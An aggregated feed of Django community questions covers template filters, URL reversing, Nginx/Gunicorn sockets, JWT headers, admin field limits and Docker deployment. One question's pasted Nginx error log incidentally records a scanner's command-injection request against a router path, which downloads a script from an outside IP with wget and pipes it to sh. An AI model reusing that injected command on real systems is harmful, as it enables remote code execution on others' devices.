Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
Could not parse some characters: |(total/4)||floatformat:2
<td> {% with data.marks1|add:data.marks2|add:data.marks3|add:data.marks4 as total %} {{ (total/4)|floatformat:2 }} {% endwith %} I am making a simple crud application in Django and em repeatedly getting this error. Anything I do does not resolve this error -
Django- if I make a post it crashes my website
I am creating a Recipe app- if the user saves a new recipe I get the error: django.urls.exceptions.NoReverseMatch: Reverse for 'recipes-detail' with arguments '('b4f97aee-4989-494e-ab9d-ce1af77a7f4d',)' not found. 1 pattern(s) tried: ['recipe/(?P<pk>[0-9]+)/\\Z'] If I go into the admin and delete the recipe- the website works again. Here is my path from urls.py: path('recipe/<int:pk>/', views.RecipeDetailView.as_view(), name="recipes-detail"), These are the relevant models for the form: class Recipe(models.Model): title = models.CharField(max_length=100) description = models.TextField() author = models.ForeignKey(User, on_delete=models.CASCADE) serving = models.PositiveIntegerField(default=1) temperature = models.PositiveIntegerField(default=1) prep_time = models.PositiveIntegerField(default=1) cook_time = models.PositiveIntegerField(default=1) tags = models.ManyToManyField('Tag') created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) id = models.CharField(max_length=100, default=uuid.uuid4, unique=True, primary_key=True, editable=False) is_private = models.BooleanField(default=True) def get_absolute_url(self): return reverse('recipes-detail', kwargs={"pk": self.pk}) def __str__(self): return str(self.title) class Meta: ordering = ['-created_at'] class Image(models.Model): recipe = models.ForeignKey( Recipe, on_delete=models.CASCADE, null=True ) image = models.ImageField(blank=True, upload_to='images') def __str__(self): return self.recipe.title class VariantIngredient(models.Model): recipe = models.ForeignKey( Recipe, on_delete=models.CASCADE ) ingredient = models.CharField(max_length=100) quantity = models.PositiveIntegerField(default=1) unit = models.CharField(max_length=10, choices=unit_choice, default='g') def __str__(self): return self.recipe.title This is my detail view from views.py: class RecipeList(ListView): model = models.Recipe template_name = "recipes/a_recipes/home.html" context_object_name = "recipes" This is the offending part of my template which keeps erroring: <a href="{% url 'recipes-detail' recipe.pk %}" class="text-center bg-blue-600 text-blue-800 py-2 rounded-lg font-semibold … -
Nginx Unable to Connect to Gunicorn Socket
I am facing an issue with my Nginx and Gunicorn setup on my Ubuntu server, and I would greatly appreciate your assistance in resolving it. Issue Details: I have configured Nginx to connect to Gunicorn using a Unix socket located at /run/gunicorn.sock. However, Nginx is repeatedly failing to connect to this socket, as indicated by the error logs. Below are the relevant error messages from the Nginx log: 2024/08/21 20:42:42 [crit] 1706#1706: *1 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:42:47 [crit] 1705#1705: *3 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 185.224.128.83, server: 3.28.252.207, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60) HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)", host: "3.28.252.207:80" 2024/08/21 20:46:09 [error] 1706#1706: *5 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:46:10 [error] 1706#1706: *5 connect() to unix:/run/gunicorn.sock failed (111: Connection refused) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" Socket Creation & Permissions: I have verified that Gunicorn is correctly configured … -
How to split a form into several divs but the first div has another form?
page scheme here in the picture, the first form is highlighted in black, the second in red. divs are highlighted in orange. So, I need something like that: <form1> <div> text area submit <form2> text area </form2> </div> <div> text area </div> </form1> But that does not work because django just makes the second form a part of the first one -
Faced this error on PyCharm when I tried to run my project on server. Can someone help me with it?
enter image description here [btw I have already installed Django PyCharm] Tried to run my project on web server but not working for some reason. I believe it has something to do with the directory. For some reason PyCharm can't find Django in my project. -
Django NameError: name XXXX is not defined
Here is the error from the error log file in Elastic Beanstalk: File "/var/app/current/content/admin.py", line 5, in <module> class CoursesAdmin(admin.ModelAdmin): File "/var/app/current/content/admin.py", line 6, in CoursesAdmin form = CoursesAdminForm ^^^^^^^^^^^^^^^^ NameError: name 'CoursesAdminForm' is not defined I had a hard time getting this to work on my localhost, which is working perfectly now, but 'EB deploy' is failing and giving me the above error. Here is the relevant admin.py code: from django.contrib import admin from .models import Courses from .forms import CoursesAdminForm class CoursesAdmin(admin.ModelAdmin): form = CoursesAdminForm list_display = ('courseName', 'languagePlan', 'level', 'active', 'tdColour') And here is the relevant code from the content.forms.py file: from django import forms from .models import Courses, LanguagePlan class CoursesAdminForm(forms.ModelForm): languageplanqueryset = LanguagePlan.objects.all() courseName = forms.CharField(label='Course Name', max_length=255) languagePlan = forms.ModelChoiceField(required=True, queryset=languageplanqueryset, empty_label="Select One", to_field_name= "id") level = forms.IntegerField(label='Level') active = forms.BooleanField(label='Active', initial=True) tdColour = forms.CharField(label='TD Colour', max_length=80) class Meta: model = Courses fields = ('courseName', 'languagePlan', 'level', 'active', 'tdColour') I am really at a loss here. It is working just fine on localhost, and this error is very difficult to troubleshoot with the log not giving any clues. -
Updating object attribute from database in Django
Let's say I have a model representing a task: class Task(models.Model): on_status = models.BooleanField() def run(self): # obj = Task.objects.get(id=self.pk) # self.on_status = obj.on_status if self.on_status: # do stuff I run this task with Celery and I have a dashboard running on Gunicorn both using the same database. app = Celery("app") app.conf.beat_schedule = { "run_task": { "task": "run_tasks", "schedule": 5.0, "options": { "expires": 6.0, }, }, } tasks = Task.objects.all() @app.task def run_tasks(): for task in tasks: task.run() I can change on_status from my dashboard, but then I need to update self.on_status of the instance inside Celery process. I could create a new instance with get() and read value from that, but it doesn't seem right. Is there a command to update attribute value from database or is there a different approach? -
I'm using simple JWT for authentication in DRF project. when i try to access that api it showing bad_authorization_header
I am using simple jwt for my django rest framework project. I tried accessing using barrier token in postman it shows this error { "detail": "Authorization header must contain two space-delimited values", "code": "bad_authorization_header" } My settings file code REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_simplejwt.authentication.JWTAuthentication', ), } SIMPLE_JWT = { "ACCESS_TOKEN_LIFETIME": timedelta(days=15), "REFRESH_TOKEN_LIFETIME": timedelta(days=1), "ROTATE_REFRESH_TOKENS": True, "AUTH_HEADER_TYPES": ('Bearer',), "AUTH_TOKEN_CLASSES": ("rest_framework_simplejwt.tokens.AccessToken", ) } views file code @api_view(['GET']) @permission_classes([IsAuthenticated]) def all_users(request): users = CustomUser.objects.all().order_by('id') serializers = UserSerializer(users, many=True) return Response({ 'All users':serializers.data }, status.HTTP_200_OK) in postman my input for Bearer token was like Bearer < access token > -
Notification system for blog app in analogy with facebook etc
I tends to extend my blog with notification as used by Facebook and other social media platforms. Can anyone suggest a notification system for my blog application? I've developed a blog with like, comment, and reply features using Django, and now I want to add a notification system. Is there a lightweight notification system available that I can easily implement in my blog app? -
TooManyFieldsSent Raised when saving admin.ModelAdmin with TabularInline even with unchanged fields
Whenever I try to save without editing any fields in Author in the admin page, I get a TooManyFields error. I am aware that I can simply set this in settings.py. DATA_UPLOAD_MAX_NUMBER_FIELDS = None # or DATA_UPLOAD_MAX_NUMBER_FIELDS = some_large_number However, not setting a limit would open up an attack vector and would pose security risks. I'd like to avoid this approach as much as possible. My admin model AuthorAdmin has a TabularInline called PostInline. admin.py class AuthorAdmin(admin.ModelAdmin) inlines = [PostInline] class InstanceInline(admin.TabularInline) model = Post Models class Author(models.Model): name = models.CharField(max_length=100) def __str__(self): return str(self.name) class Post(models.Model): title = models.CharField(max_length=100) author = models.ForeignKey(Author, on_delete=models.CASCADE) def __str__(self): return str(self.title) The reason this error is being raised is that an Author can have multiple posts. Whenever this Author is saved (without any field change), it sends out a POST request which includes the post_id and the post__series_id based on the number of posts under that same author. This can easily exceed the default limit set by Django which is set to 1000. Is there a way to not include unchanged fields in the POST request upon save? Or a better approach to solve this issue without having to resort to updating DATA_UPLOAD_MAX_NUMBER_FIELDS? -
How to keep datas remain after switch to deocker for deployment(Wagtail into an existing Django project)
let me clear what is going on....... am working on wagtail project which is comes from ff this steps: -How to add Wagtail into an existing Django project(https://docs.wagtail.org/en/stable/advanced_topics/add_to_django_project.html) and am try to switch project to docker for deployment and do not forget am "import sql dump into postgres", and am aim to run on uwsgi and everything is perfect no error;but there are problem after everything i can't see anything on pages and when i try to access admin there is no any existed pages(which means i should create pages from scratch) here are some of cmds i used: -docker-compose -f docker-compose-deploy.yml build -docker-compose -f docker-compose-deploy.yml up -docker-compose -f docker-compose-deploy.yml run --rm app sh -c "python manage.py createsuperuser" if it needed here is the Dockerfile: FROM python:3.9-slim-bookworm LABEL maintainer="londonappdeveloper.com" ENV PYTHONUNBUFFERED=1 # Install dependencies RUN apt-get update && apt-get install --no-install-recommends -y \ build-essential \ libpq-dev \ gcc \ exiftool \ imagemagick \ libmagickwand-dev \ libmagic1 \ redis-tools \ && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \ && rm -rf /var/lib/apt/lists/* # Set up virtual environment RUN python -m venv /py && \ /py/bin/pip install --upgrade pip # Copy application files COPY ./requirements.txt /requirements.txt COPY . /app COPY ./scripts /scripts … -
Is it safe to use url link to sort table rows using Django for backend?
I was asking my supervisor for an opinion to sort rows of a table. When a table head column is clicked, I basically change the url to: /?order_by=price then check if url == /?order_by=price: Inventory.objects.order_by('price') He told me I could do this in frontend with css,because if someone enters a bad input or injects smth, they can access my whole table. Is the backend logic with Django good for this problem, or should I do it as he said? -
Can't get Django view to never cache when accessing via browser
I have a Django app hosted on a Linux server served by NGINX. A view called DashboardView displays data from a Postgresql database. This database gets routinely updated by processes independent of the Django app. In order for the latest data to always be displayed I have set the view to never cache. However this doesn't seem to be applied when viewing in the browser. The only way I can force through the view to show the updated data is via a GUNICORN restart on the server. When I look at the the Network details in Google Chrome devtools everything looks set correctly. See below the cache control details shown. max-age=0, no-cache, no-store, must-revalidate, private Please see Django code below setting never cache on the DashboardView. from django.utils.decorators import method_decorator from django.views.decorators.cache import never_cache class NeverCacheMixin(object): @method_decorator(never_cache) def dispatch(self, *args, **kwargs): return super(NeverCacheMixin, self).dispatch(*args, **kwargs) class DashboardView(NeverCacheMixin, TemplateView): ...................code for view............. I am at a loss as what to look at next. The session IDs don't seem to change after a GUNICORN restart so I don't think its related to this. Where could this be failing? -
SSL configuration with Nginx with Django
I am trying to configure the SSL to the environment. The combination of technical stack nginx, Angular and Django. I downloaded the cert and placed into the server for the nginx and added the below configuration in the Django - settings.py for the SSL in the backend. SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') Added the below configuration in the nginx server block. server { listen 8000 ssl; ssl_certificate /etc/ssl/servername.crt; ssl_certificate_key /etc/ssl/servername.key; ssl_password_file /etc/ssl/global.pass; server_name localhost; underscores_in_headers on; client_max_body_size 2500M; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_buffering off; proxy_set_header Connection "Upgrade"; proxy_connect_timeout 3600s; proxy_read_timeout 3600s; proxy_send_timeout 3600s; proxy_pass https://backend; proxy_ssl_protocols TLSv1 TLSv1.1 TLSv1.2; proxy_ssl_password_file /etc/ssl/global.pass; } } Tried the few stackoverflow solutions, but nothing works. I am getting the below error messge Access to XMLHttpRequest at ' https://servername/login/' from origin ' https://servername:4200' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. Just want to get more clarity on the nginx configuration. Did I miss anything? I searched few answers but unable to get the solution. -
Django POST requst post data not recived in VIEW
After the post request From the Hrml Form view, I can't get the data from key and values, not able to the data form given user , received a csrt_token as a key, but I am not able to receive a key value from views , I want o receive individual items in the value as value, and kes as meta key . **This is an HTML file ** <form action="{% url 'add_cart' single_product.id%}" method = "POST"> {% csrf_token%} <article class="content-body"> <h2 class="title">{{single_product.product_name}}</h2> <div class="mb-3"> <var class="price h4">{{single_product.price}} BDT</var> </div> <p>{{single_product.description}}</p> <hr> <div class="row"> <div class="item-option-select"> <h6>Choose Color</h6> <select name="color" class="form-control" required> <option value="" disabled selected>Select</option> {% for i in single_product.variation_set.colors %} <option value="{{ i.variation_value | lower }}">{{ i.variation_value | capfirst }}</option> {% endfor %} </select> </div> </div> <!-- row.// --> <div class="row"> <div class="item-option-select"> <h6>Select Size</h6> <select name="size" class="form-control"> <option value="" disabled selected>Select</option> {% for i in single_product.variation_set.sizes %} <option value="{{ i.variation_value | lower }}">{{ i.variation_value | capfirst }}</option> {% endfor %} </select> </select> </div> </div> <!-- row.// --> <hr> {% if single_product.stock <= 0 %} <h5>Out of stock </h5> {% else %} {% if in_cart%} <a class="btn btn-success"> <span class="text"> Added to Cart</span> <i class="fas fa-check"></i> </a> <a … -
{% static 'file' %} should fail if file not present
I am currently working on a Django application. When I use {% static 'file' %} within my template everything works great locally and on production as well, when file exists. When file does not exist, the error only occurs in production; collectstatic also seems to ignore that the file does not exist. I get a 500 when trying to get the start page. I would like this error to also occur in development mode. Did I misconfigure Django and it would normally do that? Or can it at least be configured that way? Just giving me the error page in development mode with the incorrect file path would be perfect. -
Datadog Integration to Django application running on azure
I have a django web app running on azure web app, I installed the datadog agent in my local and ran the application after setting up datadog configuration, I was able to get traces and metrics. Data dog traces or meteics doesn't work when I push these changes to prod. I followed this https://docs.datadoghq.com/integrations/guide/azure-manual-setup/?tab=azurecli#integrating-through-the-azure-cli from datadog to connect to azure. the azure resources are visible in the azure serverless view of datadog, but my application which has datadog settings configured doesn't work I tried following the official azure datadog integration through azure cli manual -
Django Deploy on Render.com: Page isn't redirecting properly browser error
I'm trying to deploy a Django application using Docker to https://render.com. The Docker container runs successfully, but when I try to open the website in a browser (Firefox Developers Edition), I get this error: Error in Firefox I've also tried opening the application in various other browsers, but I'm also getting similar errors. During the development on my machine I don't receive any errors. Dockerfile: FROM python:3.12 # Set environment variables ENV PYTHONUNBUFFERED=1 \ PYTHONDONTWRITEBYTECODE=1 \ DJANGO_SETTINGS_MODULE=config.settings.prod # Set the working directory WORKDIR /app RUN python --version # Install Node.js and npm RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \ apt-get install -y nodejs # Install dependencies for MariaDB RUN apt-get update && \ apt-get install -y python3-dev default-libmysqlclient-dev build-essential pkg-config # Install Poetry RUN pip install poetry # Copy pyproject.toml and poetry.lock COPY pyproject.toml poetry.lock /app/ # Configure Poetry to not use virtualenvs RUN poetry config virtualenvs.create false # Install Python dependencies RUN poetry install --no-dev --no-root # Copy the entire project COPY . /app/ # Install Tailwind CSS (requires Node.js and npm) RUN python manage.py tailwind install --no-input; # Build Tailwind CSS RUN python manage.py tailwind build --no-input; # Collect static files RUN python manage.py collectstatic --no-input; … -
How to setup Nginx as a reverse proxy for Django in Docker?
I'm trying to setup nginx as a reverse proxy for Django in docker so I can password prompt users that don't have a specific IP. However I can't get it to work. I have a Django app with a postgreSQL database all set up and working in Docker. I also have a Nginx container I just can't see to get the two connected? I haven't used Nginx before. The closest I have got is seeing the welcome to Nginx page at localhost:1337 and seeing the Django admin at localhost:1337/admin but I get a CSRF error when I actually try and login. Any help would be much appreciated! I have tried setting up Nginx in Docker using the following files: Here's my docker-compose.yml file: services: web: build: . command: gunicorn config.wsgi -b 0.0.0.0:8000 environment: - SECRET_KEY=django-insecure-^+v=tpcw8e+aq1zc(j-1qf5%w*z^a-5*zfjeb!jxy(t=zv*bdg - ENVIRONMENT=development - DEBUG=True volumes: - .:/code - static_volume:/code/staticfiles expose: - 8000 depends_on: - db networks: - my-test-network db: image: postgres volumes: - postgres_data:/var/lib/postgresql/data/ nginx: build: ./nginx ports: - "1337:80" volumes: - static_volume:/code/staticfiles depends_on: - web networks: - my-test-network volumes: postgres_data: static_volume: networks: my-test-network: driver: bridge Here's my dockerfile for Nginx: FROM nginx:1.25 RUN rm /etc/nginx/conf.d/default.conf COPY nginx.conf /etc/nginx/conf.d Here's my Nginx config file: upstream … -
Django Migration Error: NodeNotFoundError Due to Missing Migration Dependency in Django 5.0
My error is about this migrations and I couldn't understand, i'm burning about this error django.db.migrations.exceptions.NodeNotFoundError: Migration authuser.0001_initial dependencies reference nonexistent parent node ('auth', '0014_user_address_user_city_user_phone_number_and_more') This problem related to django? have to update it? I tried to delete all migrations but after that ruining my project. How to avoid it? -
CRITICAL: [Errno 104] Connection reset by peer in reviewboard due to UnreadablePostError: request data read error
In a reviewboard when am posting the review with rbtools (like cmd: 'rbt post') am getting CRITICAL: [Errno 104] Connection reset by peer error. In reviewboard logs am getting this StackTrace: request data read error Traceback (most recent call last): File "/usr/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/usr/lib/python2.7/site-packages/django/views/decorators/cache.py", line 52, in _wrapped_view_func response = view_func(request, *args, **kwargs) File "/usr/lib/python2.7/site-packages/django/views/decorators/vary.py", line 19, in inner_func response = func(*args, **kwargs) File "/usr/lib/python2.7/site-packages/djblets/webapi/resources/base.py", line 162, in call method = request.POST.get('_method', kwargs.get('_method', method)) File "/usr/lib/python2.7/site-packages/django/core/handlers/wsgi.py", line 146, in _get_post self._load_post_and_files() File "/usr/lib/python2.7/site-packages/django/http/request.py", line 219, in _load_post_and_files self._post, self._files = self.parse_file_upload(self.META, data) File "/usr/lib/python2.7/site-packages/django/http/request.py", line 184, in parse_file_upload return parser.parse() File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 140, in parse for item_type, meta_data, field_stream in Parser(stream, self._boundary): File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 598, in iter for sub_stream in boundarystream: File "/usr/lib/python2.7/site-packages/django/utils/six.py", line 535, in next return type(self).next(self) File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 415, in next return LazyStream(BoundaryIter(self._stream, self._boundary)) File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 441, in init unused_char = self._stream.read(1) File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 315, in read out = b''.join(parts()) File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 308, in parts chunk = next(self) File "/usr/lib/python2.7/site-packages/django/utils/six.py", line 535, in next return type(self).next(self) File "/usr/lib/python2.7/site-packages/django/http/multipartparser.py", line 330, in next output = next(self._producer) File "/usr/lib/python2.7/site-packages/django/utils/six.py", line 535, in next return … -
Serving a dockerized react and django static files with nginx as web server and reverse proxy
I have simple dockerized react and django app that I'd like to serve using nginx as web server for serving both react and django's static files and as reverse proxy to forward user requests to the django backend served by gunicorn. But I have been struggling with nginx for serving react and django static files. here is the nginx Dockerfile: FROM node:18.16-alpine as build WORKDIR /app/frontend/ COPY ../frontend/package*.json ./ COPY ../frontend ./ RUN npm install RUN npm run build # production environment FROM nginx COPY ./nginx/default.conf /etc/nginx/conf.d/default.conf COPY --from=build /app/frontend/build /usr/share/nginx/html here is the docker-compose file: version: '3.9' services: db: image: mysql:8.0 ports: - '3307:3306' restart: unless-stopped env_file: - ./backend/.env volumes: - mysql-data:/var/lib/mysql backend: image: vinmartech-backend:latest restart: always build: context: ./backend dockerfile: ./Dockerfile ports: - "8000:8000" volumes: - static:/app/backend/static/ env_file: - ./backend/.env depends_on: - db nginx: build: context: . dockerfile: ./nginx/Dockerfile ports: - "80:80" volumes: - static:/app/backend/static/ restart: always depends_on: - backend # - frontend volumes: mysql-data: static: here is the nginx configuration file: upstream mybackend { server backend:8000; } server { listen 80; location /letter/s { proxy_pass http://backend; } location /contact/ { proxy_pass http://backend; } location /admin/ { alias /static/; } location /static/ { alias /static/; } location / … -
Converting django serializer data to google.protobuf.struct_pb2.Struct gives error: TypeError: bad argument type for built-in operation
I want to create a response message in grpc with the following format: message Match { int32 index = 1; google.protobuf.Struct match = 2; google.protobuf.Struct status = 3; } I have a serializer and I want to convert the data into protobuf struct. my serializer is nested and long, so i have posted only a small part of the code in here. class MatchSerializer(proto_serializers.ModelProtoSerializer): competition = serializers.SerializerMethodField() match = serializers.SerializerMethodField() status = serializers.SerializerMethodField() class Meta: model = Match proto_class = base_pb2.Match fields = ['index', 'match', 'competition', 'status'] def get_competition(self, obj): data = SomeSerializer(obj.competition).data struct_data = struct_pb2.Struct() return struct_data.update(data) def get_status(self, obj): status_dict = { 0: {0: "not started"}, 1: {1: "finished"}, 2: {9: "live"}, } result = status_dict[obj.status] struct_data = struct_pb2.Struct() return struct_data.update(result) def get_match(self, obj): data = SomeOtherSerializer(obj.match).data struct_data = struct_pb2.Struct() return struct_data.update(data) Besides, I cannot find the source of what is really making this problem. I am getting this error from serializing: Traceback (most recent call last): File "/project/venv/lib/python3.10/site-packages/grpc/_server.py", line 555, in _call_behavior response_or_iterator = behavior(argument, context) File "/project/base/grpc/services.py", line 44, in GetUserSubscribedTeamsMatches return MatchSerializer(val).message File "/project/venv/lib/python3.10/site-packages/django_grpc_framework/proto_serializers.py", line 31, in message self._message = self.data_to_message(self.data) File "/project/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 555, in data ret = super().data File "/project/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 253, in … -
Ckeditor how addRichoCombo in fetch api?
CKEDITOR.plugins.add('type_elem_dropdown', { init: function (editor) { editor.on('instanceReady', function () { // Retrieve scenarioId and branchId from the editor's configuration var scenarioId = editor.config.scenarioId; var branchId = editor.config.branchId; // Function to fetch type_elements data function fetchTypeElements(scenarioId, branchId) { return fetch(`/scenario/${scenarioId}/branch/${branchId}/typeelements`) .then(response => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return response.json(); }) .catch(error => { console.error('Error fetching type_elems:', error); return []; }); } // Fetch type elements and initialize the RichCombo fetchTypeElements(scenarioId, branchId).then(typeElems => { if (!typeElems || typeElems.length === 0) { console.warn('No typeElems available, aborting addRichCombo.'); return; } // Create RichCombo UI elements typeElems.forEach((element, index) => { // Add a RichCombo for each typeElem editor.ui.addRichCombo('TypeElemNames' + (index + 1), { label: 'Type Elements', title: 'Insert Type Element', voiceLabel: 'Type Elements', className: 'cke_format', multiSelect: false, panel: { css: [CKEDITOR.skin.getPath('editor')].concat(editor.config.contentsCss), attributes: { 'aria-label': 'Type Elements Dropdown' } }, init: function () { this.startGroup('Type Elements'); this.add(element.id, element.name, element.name); }, onClick: function (value) { editor.focus(); editor.fire('saveSnapshot'); editor.insertHtml(value); editor.fire('saveSnapshot'); } }); }); }); }); } }); I tried to add a dropdown list in editor with options of dropdown list by get from API (fetch(`/scenario/${scenarioId}/branch/${branchId}/typeelements`) but not working, show nothing. And I want to add many of Rich Combo, a number … -
ValueError at /admin/backoffice/profile/add/ save() prohibited to prevent data loss due to unsaved related object 'profile'
i use my prfile as a managing user models and i got this error: ValueError at /admin/backoffice/profile/add/ save() prohibited to prevent data loss due to unsaved related object 'profile'. i want add profile and then can login with these profiles that i created. my profile: class ProfileManager(BaseUserManager): def create_user(self, NATIONALID, password=None, **extra_fields): if not NATIONALID: raise ValueError("The NATIONALID field must be set") user = self.model(NATIONALID=NATIONALID, **extra_fields) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, NATIONALID, password=None, **extra_fields): extra_fields.setdefault('is_superuser', True) extra_fields.setdefault('is_staff', True) return self.create_user(NATIONALID, password, **extra_fields) class Profile(models.Model): id = models.BigAutoField(primary_key=True) deathdate = models.DateField(blank=True, null=True, verbose_name='تاریخ فوت') isactive = models.BigIntegerField(default=1, blank=True, null=True, verbose_name='وضعیت کاربر') activefrom = models.DateTimeField(blank=True, null=True, verbose_name='فعال از') activeto = models.DateTimeField(blank=True, null=True, verbose_name='فعال تا') childrennumber = models.BigIntegerField(blank=True, null=True, verbose_name='تعداد فرزند') createdat = models.DateTimeField(auto_now_add=True, blank=True, null=True, verbose_name='تاریخ ایجاد') createdby = models.BigIntegerField(default=1, blank=True, null=True, verbose_name='ایجاد شده توسط') defunctdate = models.BigIntegerField(blank=True, null=True, verbose_name='') foundationdate = models.BigIntegerField(blank=True, null=True, verbose_name='') gender = models.BigIntegerField(blank=True, null=True, verbose_name='جنسیت') graduation = models.BigIntegerField(blank=True, null=True, verbose_name='سطح تحصیلات') location = models.BigIntegerField(blank=True, null=True, verbose_name='شهر') maritalstatus = models.BigIntegerField(blank=True, null=True, verbose_name='وضعیت تاهل') modifiedat = models.DateTimeField(auto_now=True, blank=True, null=True, verbose_name='تاریخ بروزرسانی') modifiedby = models.BigIntegerField(blank=True, null=True, verbose_name='بروزرسانی شده') religion = models.BigIntegerField(blank=True, null=True, verbose_name='مذهب') postalcode = models.CharField(max_length=10, blank=True, null=True, verbose_name='کدپستی') zonecode = models.CharField(max_length=10, blank=True, null=True, verbose_name='منطقه') FOREIGNERID = models.CharField(max_length=12, blank=True, …